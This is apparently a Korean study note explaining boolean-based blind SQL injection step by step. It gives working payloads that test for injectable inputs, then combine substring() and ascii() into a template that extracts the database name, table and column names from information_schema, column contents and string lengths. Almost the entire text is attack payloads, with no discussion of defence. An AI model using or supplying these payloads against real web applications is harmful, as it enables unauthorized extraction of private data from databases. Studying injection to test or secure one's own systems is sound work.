블라인드 sql 인젝션은 사실상 sql 인젝션이 통하면 블라인드 sql은 어디서나 통하지만 시간이 걸린다.
포인트 찾기
aaa' and '1'='1 참
aaa' and '1'='2 거짓
넣어보고 결과 다르면 sql 가능
select 문구 사용 가능한지 체크
aaa' and ('1'='1') and '1'='1 참
aaa' and ((select 'test')='test') and '1'='1 참
공격 포맷 만들기에 앞서 substring 간단 설명
substring('test',1,1) = 't'
substring('test',1,2) = 'te'
substring('test',2,1) = 'e'
공격 포맷 만들기에 앞서 ascii 간단 설명
ascii(‘a’) = 97
ascii(substring((sql빈칸),1,1)) > 0 참
공격 포맷 만들기
substring과 sql 합치면
substring((select 'test'),1,1) = 't'
아까 만들었던 select 문과 합치면
aaa' and (substring((select 'test'),1,1) = 't') and'1'='1
ascii와 합치면 공격 포맷 완성
aaa' and (ascii(substring((sql빈칸),1,1)) > 0) and '1'='1
aaa’ and (조건 빈칸) and’1’=’1 안에
ascii(빈칸) = 0 이거 넣고
substring((sql 빈칸),1,1) 넣으면 위의 식이 완성된다.
db 추출
aaa’ and (ascii(substring((sql 빈칸),1,1)) > 0) and ‘1’=’1 을 활용해 sql 빈칸 안에 select database()를 넣으면 첫 번째 글자 유추할 수 있다.
aaa' and (ascii(substring((select database()),1,1)) > 0) and '1'='1
테이블 추출
똑같이 공격 포맷을 활용해 sql 빈칸에 select table_name from information_schema.tables where table_schema =’db 이름’ limit 0,1 넣으면
aaa' and (ascii(substring((select table_name from information_schema.tables
where table_schema =’db이름’ limit 0,1),1,1)) > 0) and '1'='1
테이블 첫 번째 글자 유추 가능
컬럼 추출
똑같이 공격 포맷을 활용해 sql 빈칸에 select column_name from information_schema.columns where table_name=’테이블명’
aaa' and (ascii(substring((select column_name from information_schema.columns
where table_name=’테이블명’),1,1)) > 0) and '1'='1
을 넣으면 첫 번째 컬럼 첫 번째 글자 유추 가능
컬럼 내용 추출
select 컬럼 from 테이블명
aaa' and (ascii(substring((select 컬럼 from 테이블 명),1,1)) > 0) and '1'='1
추가적으로 글자 수 알아내는 법
aaa' and (sql 빈칸)) = 9 and '1'='1 9글자
aaa' and (select length(database())) = 9 and '1'='1 9글자